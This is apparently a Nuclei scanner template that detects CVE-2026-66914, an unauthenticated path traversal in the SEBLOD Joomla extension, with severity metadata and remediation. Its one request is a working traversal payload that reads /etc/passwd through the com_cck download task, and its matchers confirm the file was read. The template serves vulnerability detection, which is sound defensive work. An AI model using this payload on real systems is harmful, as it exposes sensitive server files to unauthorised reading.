SEBLOD for Joomla < 3.30.0/< 4.7.0/< 6.0.1 - Path Traversal

id: CVE-2026-66914

info:
  name: SEBLOD for Joomla < 3.30.0/< 4.7.0/< 6.0.1 - Path Traversal
  author: Het Kalariya
  severity: critical
  description: |
    Joomla Extension SEBLOD < 3.30.0, < 4.7.0, < 6.0.1 contains an unauthenticated path traversal caused by improper validation of file paths, letting unauthenticated attackers download files inside and outside the webroot, exploit requires no authentication.
  impact: |
    Unauthenticated attackers can download arbitrary files, potentially exposing sensitive information.
  remediation: |
    Update to SEBLOD 3.30.0, 4.7.0, 6.0.1 or later.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-66914
    - https://www.seblod.com/
  classification:
    cvss-metrics: CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N
    cvss-score: 9.2
    cve-id: CVE-2026-66914
    epss-score: 0.01535
    epss-percentile: 0.74654
    cwe-id: CWE-22
  metadata:
    verified: true
    max-request: 1
    vendor: seblod
    product: seblod
  tags: cve,cve2026,joomla,seblod,lfi,path-traversal,unauth

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_cck&task=download&file=tmp/../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'regex("root:[x*!]:0:0:", body)'
          - 'contains(all_headers, "Content-Disposition")'
        condition: and
# digest: 4a0a0047304502201776692cbbc55fdc58802df95534b557359f3e32318f89c004cf05e0561ad1b302210082da59d3c441a59647fa86c9e810498f1b032ff984062417ad85ddaca0978d23:922c64590222798bb761d5b6d8e72950